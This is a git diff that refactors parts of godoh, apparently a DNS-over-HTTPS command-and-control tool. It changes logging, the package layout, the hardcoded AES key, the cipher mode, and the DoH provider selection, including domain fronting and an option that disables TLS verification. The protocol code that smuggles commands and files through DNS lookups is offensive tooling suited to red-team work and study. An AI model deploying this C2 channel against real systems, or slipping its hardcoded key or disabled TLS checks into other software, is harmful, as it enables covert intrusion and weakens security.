 	switch dataLen {
@@ -347,19 +330,14 @@ func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, er
 	// decode the data
 	byteData, err := hex.DecodeString(data)
 	if err != nil {
-		fmt.Printf("Could not decode data:\n%s\n", err)
+		log.Error().Err(err).Str("agent", ident).Msg("failed to decode label data")
 		return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
 	}
 
 	// crc32 check
 	if hsq[3] != fmt.Sprintf("%02x", crc32.ChecksumIEEE(byteData)) {
-		log.WithFields(log.Fields{
-			"expected":    hsq[3],
-			"calculated":  crc32.ChecksumIEEE(byteData),
-			"stream-type": streamType,
-			"ident":       ident,
-			"seq":         seq,
-		}).Warn("Checksum failure")
+		log.Warn().Str("agent", ident).Str("expected-crc", hsq[3]).
+			Uint32("calculated-crc", crc32.ChecksumIEEE(byteData)).Msg("crc32 check failed")
 	}
 
 	return ident, streamType, seq, transferProtocol, byteData, nil
@@ -372,7 +350,7 @@ func (h *Handler) parseTxtRRLabels(r *dns.Msg) (string, error) {
 	hsq := strings.Split(r.Question[0].String(), ".")
 
 	if len(hsq) <= 1 {
-		fmt.Println("TXT Question had less than 1 labels, bailing.")
+		log.Debug().Str("labels", r.Question[0].String()).Msg("question had less than 1 labels")
 		return "", errors.New(protocol.FailureDNSResponse)
 	}
 
@@ -380,7 +358,7 @@ func (h *Handler) parseTxtRRLabels(r *dns.Msg) (string, error) {
 	identData := strings.Split(hsq[0], ";")[1]
 	identBytes, err := hex.DecodeString(identData)
 	if err != nil {
-		fmt.Printf("Failed to decode ident bytes:\n%s\n", err)
+		log.Debug().Err(err).Msg("failed to decode ident bytes")
 		return "", errors.New(protocol.FailureDNSResponse)
 	}
 	ident := string(identBytes)
diff --git a/go.mod b/go.mod
index 1abd4e5..20bd38a 100644
--- a/go.mod
+++ b/go.mod
@@ -3,9 +3,8 @@ module github.com/sensepost/godoh
 go 1.13
 
 require (
-	github.com/konsorten/go-windows-terminal-sequences v1.0.2 // indirect
 	github.com/miekg/dns v1.1.15
-	github.com/sirupsen/logrus v1.4.2
+	github.com/rs/zerolog v1.20.0
 	github.com/spf13/cobra v0.0.5
 	golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 // indirect
 	golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 // indirect
diff --git a/go.sum b/go.sum
index d61012b..c6716a1 100644
--- a/go.sum
+++ b/go.sum
@@ -3,6 +3,7 @@ github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5
 github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
 github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
 github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
+github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
 github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -10,20 +11,19 @@ github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMo
 github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
 github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
 github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
-github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
-github.com/konsorten/go-windows-terminal-sequences v1.0.2 h1:DB17ag19krx9CFsz4o3enTrPXyIXCl+2iCXH/aMAp9s=
-github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
 github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
 github.com/miekg/dns v1.1.15 h1:CSSIDtllwGLMoA6zjdKnaE6Tx6eVUxQ29LUgGetiDCI=
 github.com/miekg/dns v1.1.15/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
 github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
 github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
 github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
+github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
+github.com/rs/zerolog v1.20.0 h1:38k9hgtUBdxFwE34yS8rTHmHBa4eN16E4DJlv177LNs=
+github.com/rs/zerolog v1.20.0/go.mod h1:IzD0RJ65iWH0w97OQQebJEvTZYvsCUm9WVLWBQrJRjo=
 github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
-github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4=
-github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
 github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
 github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
 github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s=
@@ -32,7 +32,6 @@ github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb6
 github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg=
 github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
 github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
-github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
 github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w=
 github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
 github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
@@ -42,16 +41,19 @@ golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACk
 golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc=
 golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
 golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
 golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 h1:Ao/3l156eZf2AW5wK8a7/smtodRU+gha3+BeqJ69lRk=
 golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e h1:vcxGaoTs7kV8m5Np9uUNQin4BrLOthgV7252N8V+FwY=
 golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7 h1:LepdCS8Gf/MVejFIt8lsiexZATdoGVyp5bcyS+rYoUI=
 golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/tools v0.0.0-20190828213141-aed303cbaa74/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
diff --git a/utils/key.go b/lib/key.go
similarity index 55%
rename from utils/key.go
rename to lib/key.go
index 797b805..02e5efb 100644
--- a/utils/key.go
+++ b/lib/key.go
@@ -1,5 +1,5 @@
-package utils
+package lib
 
 // AES key used to encrypt data blobs in communications
 // $ openssl rand -hex 16
-const cryptKey = `6bae426c07be6a1b0bae3349703aeeaa`
+const cryptKey = `2589213f0c51583dcbaacbe0005e5908`
diff --git a/lib/options.go b/lib/options.go
new file mode 100644
index 0000000..630f8e4
--- /dev/null
+++ b/lib/options.go
@@ -0,0 +1,91 @@
+package lib
+
+import (
+	"crypto/tls"
+	"errors"
+	"net/http"
+	"strings"
+
+	"github.com/rs/zerolog"
+	"github.com/sensepost/godoh/dnsclient"
+)
+
+// Options are options
+type Options struct {
+	// Logging
+	Logger         *zerolog.Logger
+	Debug          bool
+	DisableLogging bool
+
+	// Domains
+	Domain       string
+	ProviderName string
+	Provider     dnsclient.Client
+
+	// TLS config
+	ValidateTLS bool
+}
+
+// NewOptions returns a new options struct
+func NewOptions() *Options {
+	return &Options{}
+}
+
+// SetTLSValidation configures the appropriate TLS validation setup
+func (o *Options) SetTLSValidation() {
+
+	if !o.ValidateTLS {
+		http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
+	}
+}
+
+// validateDomain validates the domain configured
+func (o *Options) validateDomain() (err error) {
+	if o.Domain == "" {
+		return errors.New("a dns domain is required. either set one at runtime or compile time")
+	}
+
+	if strings.HasPrefix(o.Domain, ".") {
+		return errors.New("the dns domain should be the base fqdn (without a leading dot)")
+	}
+
+	return
+}
+
+// GetDNSClient get's the DNS client to use
+func (o *Options) GetDNSClient() (dnsclient.Client, error) {
+
+	if err := o.validateDomain(); err != nil {
+		return nil, err
+	}
+
+	if o.Provider != nil {
+		return o.Provider, nil
+	}
+
+	log := o.Logger
+
+	switch o.ProviderName {
+	case "googlefront":
+		log.Warn().Msg(`WARNING: Domain fronting dns.google.com via www.google.com no longer works. ` +
+			`A redirect to dns.google.com will be returned. See: https://twitter.com/leonjza/status/1187002742553923584`)
+		o.Provider = dnsclient.NewGoogleFrontDNS()
+		break
+	case "google":
+		o.Provider = dnsclient.NewGoogleDNS()
+		break
+	case "cloudflare":
+		o.Provider = dnsclient.NewCloudFlareDNS()
+		break
+	case "quad9":
+		o.Provider = dnsclient.NewQuad9DNS()
+		break
+	case "raw":
+		o.Provider = dnsclient.NewRawDNS()
+		break
+	default:
+		return nil, errors.New("invalid dns provider")
+	}
+
+	return o.Provider, nil
+}
diff --git a/utils/utils.go b/lib/utils.go
similarity index 61%
rename from utils/utils.go
rename to lib/utils.go
index 9b64a23..f93fcc6 100644
--- a/utils/utils.go
+++ b/lib/utils.go
@@ -1,16 +1,15 @@
-package utils
+package lib
 
 import (
 	"bytes"
-	"compress/gzip"
 	"crypto/aes"
 	"crypto/cipher"
 	"crypto/rand"
 	"encoding/hex"
 	"encoding/json"
 	"errors"
+	"fmt"
 	"io"
-	"io/ioutil"
 	mrand "math/rand"
 )
 
@@ -28,19 +27,16 @@ func GobPress(s interface{}, data io.Writer) error {
 		return err
 	}
 
-	return GzipWrite(data, enc)
+	data.Write(enc)
+
+	return nil
 }
 
 // UngobUnpress will gob decode and decompress a struct
 func UngobUnpress(s interface{}, data []byte) error {
 
-	dcData := bytes.Buffer{}
-	if err := GunzipWrite(&dcData, data); err != nil {
-		return err
-	}
-
 	// Decrypt the data
-	decryptData, err := Decrypt(dcData.Bytes())
+	decryptData, err := Decrypt(data)
 	if err != nil {
 		return err
 	}
@@ -52,34 +48,6 @@ func UngobUnpress(s interface{}, data []byte) error {
 	return nil
 }
 
-// GzipWrite data to a Writer
-func GzipWrite(w io.Writer, data []byte) error {
-	// Write gzipped data to the client
-	gw, err := gzip.NewWriterLevel(w, gzip.BestCompression)
-	defer gw.Close()
-	gw.Write(data)
-
-	return err
-}
-
-// GunzipWrite data to a Writer
-func GunzipWrite(w io.Writer, data []byte) error {
-	// Write gzipped data to the client
-	gr, err := gzip.NewReader(bytes.NewBuffer(data))
-	if err != nil {
-		return err
-	}
-	defer gr.Close()
-
-	data, err = ioutil.ReadAll(gr)
-	if err != nil {
-		return err
-	}
-	w.Write(data)
-
-	return nil
-}
-
 // ByteSplit will split []byte into chunks of lim
 func ByteSplit(buf []byte, lim int) [][]byte {
 	var chunk []byte
@@ -119,6 +87,11 @@ func Encrypt(plaintext []byte) ([]byte, error) {
 		panic(err)
 	}
 
+	plaintext, err = pkcs7pad(plaintext, aes.BlockSize) // BlockSize = 16
+	if err != nil {
+		return nil, err
+	}
+
 	// The IV needs to be unique, but not secure. Therefore it's common to
 	// include it at the beginning of the ciphertext.
 	ciphertext := make([]byte, aes.BlockSize+len(plaintext))
@@ -127,8 +100,8 @@ func Encrypt(plaintext []byte) ([]byte, error) {
 		return nil, err
 	}
 
-	stream := cipher.NewCFBEncrypter(block, iv)
-	stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)
+	stream := cipher.NewCBCEncrypter(block, iv)
+	stream.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)
 
 	return ciphertext, nil
 }
@@ -149,13 +122,58 @@ func Decrypt(ciphertext []byte) ([]byte, error) {
 		return nil, errors.New("Cipher text too short")
 	}
 
+	// Ensure we have the correct blocksize
+	if (len(ciphertext) % aes.BlockSize) != 0 {
+		return nil, errors.New("Cipher text is not the expected length")
+	}
+
 	iv := ciphertext[:aes.BlockSize]
 	ciphertext = ciphertext[aes.BlockSize:]
 
-	stream := cipher.NewCFBDecrypter(block, iv)
+	stream := cipher.NewCBCDecrypter(block, iv)
+	stream.CryptBlocks(ciphertext, ciphertext)
 
-	// XORKeyStream can work in-place if the two arguments are the same.
-	stream.XORKeyStream(ciphertext, ciphertext)
+	ciphertext, err = pkcs7strip(ciphertext, aes.BlockSize)
+	if err != nil {
+		return nil, err
+	}
 
 	return ciphertext, nil
 }
+
+// pkcs7strip remove pkcs7 padding
+// https://gist.github.com/nanmu42/b838acc10d393bc51cb861128ce7f89c
+func pkcs7strip(data []byte, blockSize int) ([]byte, error) {
+	length := len(data)
+
+	if length == 0 {
+		return nil, errors.New("pkcs7: Data is empty")
+	}
+
+	if length%blockSize != 0 {
+		return nil, errors.New("pkcs7: Data is not block-aligned")
+	}
+
+	padLen := int(data[length-1])
+	ref := bytes.Repeat([]byte{byte(padLen)}, padLen)
+
+	if padLen > blockSize || padLen == 0 || !bytes.HasSuffix(data, ref) {
+		return nil, errors.New("pkcs7: Invalid padding")
+	}
+
+	return data[:length-padLen], nil
+}
+
+// pkcs7pad add pkcs7 padding
+// https://gist.github.com/nanmu42/b838acc10d393bc51cb861128ce7f89c
+func pkcs7pad(data []byte, blockSize int) ([]byte, error) {
+
+	if blockSize < 0 || blockSize > 256 {
+		return nil, fmt.Errorf("pkcs7: Invalid block size %d", blockSize)
+	}
+
+	padLen := blockSize - len(data)%blockSize
+	padding := bytes.Repeat([]byte{byte(padLen)}, padLen)
+
+	return append(data, padding...), nil
+}
diff --git a/protocol/command.go b/protocol/command.go
index 115223a..c4556bb 100644
--- a/protocol/command.go
+++ b/protocol/command.go
@@ -2,24 +2,23 @@ package protocol
 
 import (
 	"bytes"
-	"time"
 
-	"github.com/sensepost/godoh/utils"
+	"github.com/sensepost/godoh/lib"
 )
 
 // Command represents a command to be send over DNS.
 type Command struct {
-	Exec       string    `json:"exec"`
-	Data       []byte    `json:"data"`
-	ExecTime   time.Time `json:"exectime"`
-	Identifier string    `json:"identifier"`
+	Exec       string `json:"exec"`
+	Data       []byte `json:"data"`
+	ExecTime   int64  `json:"exectime"`
+	Identifier string `json:"identifier"`
 }
 
 // Prepare configures the File struct with relevant data.
 func (c *Command) Prepare(cmd string) {
 
 	c.Exec = cmd
-	c.Identifier = utils.RandomString(5)
+	c.Identifier = lib.RandomString(5)
 }
 
 // GetOutgoing returns the hostnames to lookup as part of a file
@@ -34,7 +33,7 @@ func (c *Command) GetOutgoing() string {
 func (c *Command) GetRequests() ([]string, string) {
 
 	var b bytes.Buffer
-	utils.GobPress(c, &b)
+	lib.GobPress(c, &b)
 
 	requests := Requestify(b.Bytes(), CmdProtocol)
 
diff --git a/protocol/constants.go b/protocol/constants.go
index 5b32dc5..c98d4ed 100644
--- a/protocol/constants.go
+++ b/protocol/constants.go
@@ -12,15 +12,9 @@ const (
 
 // TXT record default responses
 var (
-	NoCmdTxtResponse = []string{
-		"v=B2B3FE1C",
-	}
-	ErrorTxtResponse = []string{
-		"v=D31CFAA4",
-	}
-	CmdTxtResponse = []string{
-		"v=A9F466E8",
-	}
+	NoCmdTxtResponse = "v=B2B3FE1C"
+	ErrorTxtResponse = "v=D31CFAA4"
+	CmdTxtResponse   = "v=A9F466E8"
 )
 
 // MaxLabelSize is the maximum size a DNS hostname label may be.
diff --git a/protocol/file.go b/protocol/file.go
index ff69a8e..c47a91b 100644
--- a/protocol/file.go
+++ b/protocol/file.go
@@ -6,7 +6,7 @@ import (
 	"encoding/hex"
 	"os"
 
-	"github.com/sensepost/godoh/utils"
+	"github.com/sensepost/godoh/lib"
 )
 
 // File represents a file to be send over DNS.
@@ -29,7 +29,7 @@ func (fc *File) Prepare(data *[]byte, fileInfo os.FileInfo) {
 	fc.Shasum = hex.EncodeToString(h.Sum(nil))
 	fc.Name = fileInfo.Name()
 	fc.Data = data
-	fc.Identifier = utils.RandomString(5)
+	fc.Identifier = lib.RandomString(5)
 }
 
 // GetRequests returns the hostnames to lookup as part of a file
@@ -37,7 +37,7 @@ func (fc *File) Prepare(data *[]byte, fileInfo os.FileInfo) {
 func (fc *File) GetRequests() ([]string, string) {
 
 	var b bytes.Buffer
-	utils.GobPress(fc, &b)
+	lib.GobPress(fc, &b)
 
 	requests := Requestify(b.Bytes(), FileProtocol)
 
diff --git a/protocol/utils.go b/protocol/utils.go
index 7ea79cc..eaaf09d 100644
--- a/protocol/utils.go
+++ b/protocol/utils.go
@@ -6,7 +6,7 @@ import (
 	"hash/crc32"
 	"log"
 
-	"github.com/sensepost/godoh/utils"
+	"github.com/sensepost/godoh/lib"
 )
 
 // Requestify generates hostnames for DNS lookups
@@ -58,8 +58,8 @@ func Requestify(data []byte, protocol int) []string {
 		ident, StreamStart, seq-1, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00)
 	requests = append(requests, initRequest)
 
-	for _, s := range utils.ByteSplit(data, 90) {
-		labelSplit := utils.ByteSplit(s, 30)
+	for _, s := range lib.ByteSplit(data, 90) {
+		labelSplit := lib.ByteSplit(s, 30)
 
 		// Having the data split into 3 labels, prepare the data label
 		// that will be used in the request.
diff --git a/utils/doc.go b/utils/doc.go
deleted file mode 100644
index d4b585b..0000000
--- a/utils/doc.go
+++ /dev/null
@@ -1 +0,0 @@
-package utils